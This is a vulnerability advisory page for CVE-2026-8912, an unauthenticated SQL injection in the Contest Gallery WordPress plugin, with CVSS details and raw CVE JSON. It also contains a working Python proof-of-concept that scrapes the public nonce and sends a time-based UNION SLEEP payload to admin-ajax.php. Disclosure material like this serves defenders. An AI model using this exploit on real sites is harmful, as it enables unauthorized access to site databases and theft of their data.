Security Vulnerability Report
中文
CVE-2026-8912 CVSS 7.5 HIGH

CVE-2026-8912

Published: 2026-05-19 13:16:20
Last Modified: 2026-05-19 14:38:40

Description

The Contest Gallery plugin for WordPress is vulnerable to SQL Injection via the 'form_input' parameter in versions up to, and including, 28.1.6. This is due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query inside the unauthenticated 'post_cg_gallery_form_upload' AJAX action (specifically the 'cb' branch of the included users-upload-check.php, where $f_input_id is concatenated unquoted into 'SELECT Field_Content FROM ... WHERE id = $f_input_id'). The endpoint is gated only by a public frontend nonce ('cg1l_action' / 'cg_nonce') that is exposed in the page source of any public gallery page. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Contest Gallery <= 28.1.6

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import re # Configuration target_url = "http://example.com/" nonce_pattern = r"cg_nonce.*?value\s*=\s*['\"](.*?)['\"]" # Step 1: Get the Nonce from the public gallery page try: response = requests.get(target_url) nonce = re.search(nonce_pattern, response.text).group(1) print(f"[+] Found Nonce: {nonce}") except Exception as e: print(f"[-] Failed to retrieve Nonce: {e}") exit() # Step 2: Prepare the SQL Injection payload # The payload attempts to extract the database user using a conditional-based injection # exploiting the unquoted $f_input_id in the SELECT statement. payload = "1 UNION SELECT SLEEP(5) -- -" data = { "action": "post_cg_gallery_form_upload", "cg_nonce": nonce, "form_input": payload, "option": "com_cg_gallery" } # Step 3: Send the malicious request ajax_url = f"{target_url}/wp-admin/admin-ajax.php" print(f"[*] Sending payload to {ajax_url}...") r = requests.post(ajax_url, data=data) if r.elapsed.total_seconds() >= 5: print("[+] SQL Injection successful! Response delayed.") else: print("[-] Injection failed or payload incorrect.") print("Response content:", r.text[:200])

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-8912", "sourceIdentifier": "[email protected]", "published": "2026-05-19T13:16:20.127", "lastModified": "2026-05-19T14:38:39.660", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Contest Gallery plugin for WordPress is vulnerable to SQL Injection via the 'form_input' parameter in versions up to, and including, 28.1.6. This is due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query inside the unauthenticated 'post_cg_gallery_form_upload' AJAX action (specifically the 'cb' branch of the included users-upload-check.php, where $f_input_id is concatenated unquoted into 'SELECT Field_Content FROM ... WHERE id = $f_input_id'). The endpoint is gated only by a public frontend nonce ('cg1l_action' / 'cg_nonce') that is exposed in the page source of any public gallery page. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-89"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/contest-gallery/tags/28.1.5/ajax/ajax-functions-frontend.php#L837", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/contest-gallery/tags/28.1.5/functions/frontend/cg-general-frontend.php#L12", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/contest-gallery/tags/28.1.5/v10/v10-frontend/user_upload/users-upload-check.php#L1036", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/contest-gallery/tags/28.1.5/v10/v10-frontend/user_upload/users-upload-check.php#L1193", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/71f2f8c4-00ee-4ab4-b0e0-9ddac46818b3?source=cve", "source": "[email protected]"}]}}